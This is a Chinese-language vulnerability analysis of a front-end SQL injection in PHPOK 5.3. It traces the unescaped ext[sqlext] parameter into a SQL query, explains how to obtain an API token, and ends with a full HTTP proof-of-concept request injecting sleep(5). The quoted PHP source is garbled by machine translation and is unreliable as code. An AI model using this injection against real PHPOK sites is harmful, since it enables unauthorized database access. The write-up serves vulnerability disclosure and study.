PHPOK 5.3 前台注入

一、漏洞简介

二、漏洞影响

PHPOK 5.3

三、复现过程

漏洞分析

灵活获取参数:$this->get()方法

framework / init.php#get

最后的公共函数get($ id,$ type =“ safe”,$ ext =“”)
{ 
    // PGC进入获取
    $ val = isset($ _ POST [$ id])?$ _POST [$ id]:(isset($ _ GET [$ id])?$ _GET [$ id]:(isset($ _ COOKIE [$ id])?$ _COOKIE [$ id]:'')); 
    if($ val ==''){ 
        if($ type =='int'|| $ type =='intval'|| $ type =='float'|| $ type =='floatval'){ 
            返回0 ; 
        } else { 
            return”; 
        } 
    } 
    //判断内容是否有转义,所有未转义的数据都直接转义
    $ addslashes = false; 
    if(function_exists(“ get_magic_quotes_gpc”)&& get_magic_quotes_gpc()){ 
        $ addslashes = true; 
    } 
    if(!
        $ addslashes){ $ val = $ this-> _ addslashes($ val); 
    }
    返回$ this-> format($ val,$ type,$ ext); 
}

跟进format函数:framework / init.php#format

最终的公共函数格式($ msg,$ type =“ safe”,$ ext =“”)
{ 
    if($ msg ==“”){ 
        return ;; 
    } 
    if(is_array($ msg)){ 
        foreach($ msg as $ key => $ value){ 
            if(!is_numeric($ key)){ 
                $ key2 = $ this-> format($ key); 
                if($ key2 ==``|| in_array($ key2,array('#','&','%'))){ 
                    unset($ msg [$ key]); 
                    继续; 
                } 
            } 
            $ msg [$ key] = $ this-> format($ value,$ type,$ ext); 
        } 
        if($ msg && count($ msg)> 0){ 
            返回$ msg; 
        } 
        返回false; 
    }
    if($ type =='html_js'||($ type =='html'&& $ ext)){ 
        $ msg = stripslashes($ msg); 
        if($ this-> app_id!='admin'){ 
            $ msg = $ this-> lib('string')-> xss_clean($ msg); 
        } 
        $ msg = $ this-> lib('string')-> clear_url($ msg,$ this-> url); 
        返回addslashes($ msg); 
    } 
    //转义去除
    $ msg = stripslashes($ msg); 
    //格式化处理内容
    开关($ type){ 
        case'safe_text':
            $ msg = strip_tags($ msg); 
            $ msg = str_replace(array(“ \”,“'”,'“',” <“,”>“),'',$ msg); 
        break; 
        情况'system':
            $ msg =!preg_match(“ / ^ [a-zA-Z] [a-z0-9A-Z \ _ \-] + $ / u”,$ msg)吗?false:$ msg;
        打破; 
        情况'id':
            $ msg =!preg_match(“ / ^ [a-zA-Z] [a-z0-9A-Z \ _ \-] + $ / u”,$ msg)吗?false:$ msg; 
        打破; 
        情况'复选框':
            $ msg = strtolower($ msg)=='on'吗?1:$ this-> format($ msg,'safe'); 
        打破; 
        情况'int':
            $ msg = intval($ msg); 
        打破; 
        情况'intval':
            $ msg = intval($ msg); 
        打破; 
        情况'float':
            $ msg = floatval($ msg); 
        打破; 
        情况'floatval':
            $ msg = floatval($ msg); 
        打破; 
        案例“时间”:

        打破; 
        情况'html':
            $ msg = $ this-> lib('string')-> safe_html($ msg,$ this-> url); 
        打破; 
        情况'func':
            $ msg = function_exists($ ext)?$ ext($ msg):假; 
        打破; 
        情况'text':
            $ msg = strip_tags($ msg); 
        打破; 
        默认值:
            $ msg = str_replace(array(“ \”,“'”,'“',” <“,”>“),array(”&#92;“,”&#39;“,”&quot; “,”&lt;“,”&gt;“),$ msg); 
        break; 
    } 
    if($ msg){ 
        $ msg =加上斜线($ msg); 
    } 
    返回$ msg; 
}

格式默认为安全模式,也就是仅将\ " ' < >实体编码。

注入点:

framework / api / index_control.php#phpok_f

// ... 
$ token = $ this-> get(“ token”); 
if(!$ token){ 
    $ this-> json(P_Lang(“接口数据异常”));; 
} 
$ this-> lib('token')-> keyid($ this-> site ['api_code']); 
$ info = $ this-> lib('token')-> decode($ token); 
if(!$ info){ 
    $ this-> json(P_Lang('信息为空')); 
} 
$ id = $ info ['id'];

// 176行
$ ext = $ this-> get('ext'); 
if($ ext && is_array($ ext)){ 
    foreach($ ext as $ key => $ value){ 
        if(!$ value){ 
            继续;
        } 
        // sqlext变量转义取消
        if($ key =='sqlext'&& $ value){ 
            $ value = str_replace(array('&#39;','“”,'’'','&#34 ;'),array(“'”,'“',”'“,'”'),$ value); 
        } 
        $ param [$ key] = $ value; 
    } 
} 
// $ id从加密的令牌中来
/// sqlsql的值的函数只有_userlist,_arc_condition_single,_arc_condition 
$ list = $ this-> call-> phpok($ id,$ param);

继续跟进phpok函数:framework / phpok_call.php#phpok

公共功能phpok($ id,$ rs =“”)
{ 
    // 76行
    $ siteinfo = $ this-> model('site')-> get_one($ rs ['site']); 
    // 91行
    if(substr($ id,0,1)!='_'){ 
    // $ id从令牌中来,为phpok表中identifier标识符,$ rs ['site']可控为任意值
    $ call_rs = $ this-> load_phpoklist($ id,$ rs ['site']); 
    } 
    // 116行
    $ func ='_'。$ call_rs ['type_id']; 
    // 131行动态调用函数_xxxx 
    return $ 
this- > $ func($ call_rs,$ cache_id); }

跟进load_phpoklist:framework / phpok_call.php#load_phpoklist

私有函数load_phpoklist($ id,$ siteid = 0)
{ 
    $ this-> model('call')-> site_id($ siteid); 
    if($ this-> _ cache && $ this-> _ cache [$ id]){ 
        返回$ this-> _ cache [$ id]; 
    } 
    $ this-> _ cache = $ this-> model('call')-> all($ siteid,'identifier'); 
    if($ this-> _ cache && $ this-> _ cache [$ id]){ 
        返回$ this-> _ cache [$ id]; 
    } 
    返回false; 
}

这一段代码$this->model('call')->all($siteid,'identifier');实现的是查询phpok表,其中identifier

xxx的信息,然后在phpok()函数的131行进行动态调用其插入为type_id的值函数。

image

例如我们要调用framework/phpok_call.php下的_arclist函数,我们可以选择:

http://0-sec.org/api.php?c=index&f=phpok&ext[site]=1&token=加密('id=m_picplayer')

我们接着在framework/phpok_call.php电子邮件寻找柯林斯触发SQL的函数,从phpok表里我们可以看到其默认的TYPE_ID只有四个不同的值arclist, ,arc,catelist,project我们而需要找到拼接sqlext变量的函数:

框架/ phpok_call.php#_arclist

私有函数_arclist($ rs,$ cache_id ='')
{ 
    // 254行
    $ condition = $ this-> _ arc_condition($ rs,$ flist,$ project); 
    //带入注入数据
    $ array ['total'] = $ this-> model('list')-> arc_count($ project ['module'],$ condition); 
}

跟进:framework / phpok_call.php#_arc_condition

直接拼接了sqlext

private function _arc_condition($rs,$fields='',$project='')
{
    // 623行
        if($rs['sqlext']){
        $condition .= " AND ".$rs['sqlext'];
    }

    // 671行
    return $condition;
}

接着将结果带入了:

$ this-> model('list')-> arc_count($ project ['module'],$ condition);

调用:framework / model / list.php#arc_count 5.jpg

image

拼接sql,调用$this->db->count($sql)

framework / engine / db / mysqli.php#count

公共功能计数($ sql =“”,$ is_count = true)
{ 
    if($ sql && is_string($ sql)&& $ is_count){ 
        $ this-> set('type','num'); 
        $ rs = $ this-> get_one($ sql); 
        $ this-> set('type','assoc'); 
        返回$ rs [0]; 
    } else { 
        if($ sql && is_string($ sql)){ 
            $ this-> query($ sql); 
        } 
        if($ this-> query){ 
            返回mysqli_num_rows($ this-> query); 
        } 
    } 
    返回false; 
}

根进get_one函数:framework / engine / db / mysqli.php#get_one

公共功能get_one($ sql ='')
{ 
    if($ sql){ 
        $ false = $ this-> cache_false($ sql); 
        if($ false){ 
            返回false; 
        } 
        if($ this-> cache_get($ sql)){ 
            返回$ this-> cache_get($ sql); 
        } 
        $ this-> query($ sql);

根进$this->query($sql);:framework / engine / db / mysqli.php#query

image

最终将sql带入执行。

当然,到这里,其实还有一个问题没有解决,我们需要如果拿到token=加密('id=m_picplayer')。

框架/ API / index_control.php#token_f

{ 
    $ this-> config('is_ajax',true); 
    if(!$ this-> site ['api_code']){ 
        $ this-> error(P_Lang(“系统未配置接口功能”)); 
    } 
    $ id = $ this-> get('id','system'); 
    if(!$ id){ 
        $ this-> error(P_Lang('未指定数据调用标识')); 
    } 
    $ this-> model('call')-> site_id($ this-> site ['id']); 
    //限制范围,其中identifier = $ id 
    $ rs = $ this-> model('call')-> get_one($ id,'identifier'); 
    if(!$ rs ||!$ rs ['status']){ 
        $ this-> error(P_Lang('标识不存在或未启用')); 
    }

  // 141行
    $ array = array('id'=> $ id,'param'=> $ param); 
    $ token = $ this-> lib('token')-> encode($ array); 
    $ this-> success($ token); 
}

其中第一个如果条件需要在后台生成api字符串:

image

没开启的话,其实构造一个csrf的poc也是可以的

第二个条件预期id=m_picplayer即可

漏洞复现

http://0-sec.org/api.php?c=index&f=token&id=m_picplayer

image

POC:

GET /api.php?c=index&f=phpok&token=6318fdtC3WRpOzYNzKVNw78PFa9OhFea5pp3/uZ4U3T67a/F47WhJ0lr856V7yomOcG0u8/UJpIwKKOwJAKspTSWN+5ljVNWR5978g7HHoG14M&ext[sqlext]=sleep(5)%23&ext[site]=1 HTTP/1.1
Host: 0-sec.org
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; U; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSION=l87bngd1u307g20iudfmphisu4
Connection: close

四、参考链接

https://xz.aliyun.com/t/6830